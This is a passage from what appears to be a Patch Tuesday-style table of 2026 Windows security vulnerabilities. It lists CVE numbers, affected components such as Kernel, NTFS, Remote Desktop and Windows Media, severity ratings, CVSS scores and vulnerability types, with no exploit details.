Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege 